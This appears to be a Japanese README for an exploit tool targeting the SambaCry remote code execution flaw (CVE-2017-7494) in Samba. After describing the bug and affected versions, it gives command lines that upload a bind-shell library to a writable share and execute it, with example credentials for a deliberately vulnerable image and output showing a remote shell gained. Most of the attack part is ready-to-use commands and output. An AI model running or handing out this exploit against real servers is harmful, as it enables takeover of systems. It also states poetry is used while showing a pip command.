
SambaCry エクスプロイト (CVE-2017-7494)
Samba は、SMB/CIFS ネットワーキングプロトコルのフリーソフトウェアによる再実装です。Samba は、さまざまな Microsoft Windows クライアント向けにファイルとプリントサービスを提供し、ドメインコントローラ (DC) またはドメインメンバーとして Microsoft Windows Server ドメインと統合できます。バージョン 4 以降では、Active Directory と Microsoft Windows NT ドメインをサポートしています。
4.5.9 およびそれ以前のバージョンの Samba は、SambaCry と呼ばれるリモートコード実行の脆弱性の影響を受けます。CVE-2017-7494 により、リモートの認証済みユーザーが書き込み可能な共有フォルダに共有ライブラリをアップロードし、コード実行攻撃を行って、脆弱な Samba サービスをホストするサーバーを制御できる可能性があります。
Samba 3.x(3.5.0 以降)、4.x(4.4.14 未満)、4.5.x(4.5.10 未満)、4.6.x(4.6.4 未満)は、Windows 名前付きパイプを使用する際にファイルパスを制限していないため、リモートの認証済みユーザーが書き込み可能な共有フォルダに共有ライブラリをアップロードし、細工された名前付きパイプを介して任意のコードを実行できます。
このエクスプロイトの環境をセットアップするには poetry を使用します。
pip3 install -r requirements.txt
その後、次のように実行できます。
./exploit -t <ターゲット> -e libbindshell-samba.so \
-s <共有> -r <場所>/libbindshell-samba.so \
-u <ユーザー> -p <パスワード> -P 6699
たとえば、vulnerables/cve-2017-7494 の脆弱なイメージを使用して、このエクスプロイトを実行する場合は次のようになります。
./exploit -t <ターゲット> -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
すると、次の出力が得られます。
./exploit -t <ターゲット> -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
このプロジェクトのペイロードとコードは、opsxcq/exploit-CVE-2017-7494 から多大な影響を受けています。